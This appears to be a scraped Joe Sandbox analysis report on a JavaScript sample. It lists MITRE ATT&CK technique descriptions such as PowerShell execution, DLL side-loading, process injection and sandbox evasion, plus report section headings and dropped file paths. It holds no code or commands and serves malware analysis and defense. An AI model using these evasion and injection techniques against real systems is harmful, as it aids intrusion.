Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 18203107951121827015.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\44aa1f35-820a-4b78-b002-c06dfad2732b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
18203107951121827015.js